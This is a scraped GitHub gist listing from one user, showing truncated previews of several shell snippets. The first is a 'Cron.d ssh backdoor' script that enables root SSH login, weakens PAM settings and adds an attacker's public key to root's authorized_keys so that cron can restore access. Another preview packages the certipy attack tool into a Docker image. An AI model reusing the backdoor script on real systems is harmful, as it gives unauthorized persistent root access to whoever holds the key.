Skip to content

Instantly share code, notes, and snippets.

View grahamhelton's full-sized avatar

Graham Helton grahamhelton

View GitHub Profile
@grahamhelton
grahamhelton / gist:b78f9238544e63c0046b4a20e3aed188
Last active September 12, 2024 12:06
Cron.d ssh backdoor
# Place our backdoor script into /tmp/ssh.sh
# This will be ran by cron
# Run one line at a time. Do not try to paste entire command in at once....
cat << EOF > /tmp/ssh.sh
apt update ; apt install openssh-server -y ; mkdir -p /var/run/sshd && sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config && sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd ; mkdir -p /root/.ssh && touch /root/.ssh/authorized_keys ; echo "ENTER YOUR PUBLIC KEY HERE" >> /root/.ssh/authorized_keys ; /usr/sbin/service ssh restart
# Then type EOF and press enter
# Ensure the script has execute permissions
chmod +x /tmp/ssh.sh
#! /bin/bash
# NOTE: To make use of a wider color pallet set the TERM enviornment variable TERM=xterm-256color
# Colors
BOLD=$(tput bold)
NOCOLOR=$(tput sgr0)
RED=$(tput setaf 1)
GREEN=$(tput setaf 2)
YELLOW=$(tput setaf 3)
@grahamhelton
grahamhelton / dockerload.sh
Last active May 30, 2024 23:55
Build tool into docker image
# Install certipy
apt update -y &> /dev/null && apt upgrade -y &> /dev/null && apt install -y python3 python3-pip &> /dev/null && pip3 install certipy-ad &> /dev/null ; echo -e "\033[0;32m - Certipy installed \033[0m"
# List containers, identify container id
sudo docker container ls
# Stage the current container into an image
sudo docker commit <container_id> <image_name>
# Save the image as a .tar file
@grahamhelton
grahamhelton / getsha1
Created January 21, 2024 04:41
Grabs the sha1sum of a remote github repo and then prints the nixos configuration to download it on rebuild
if [ $# -ne 2 ]
then
echo "Usage: getsha1 <github_url> <path_to_store_file>
IE: getsha1 https://github.com/danielmiessler/SecLists Documents/wordlists/seclists"
exit
fi
github="$1"
sha1=$(git ls-remote $1 | awk '{print $1}' | head -n 1)
echo "
home.file = {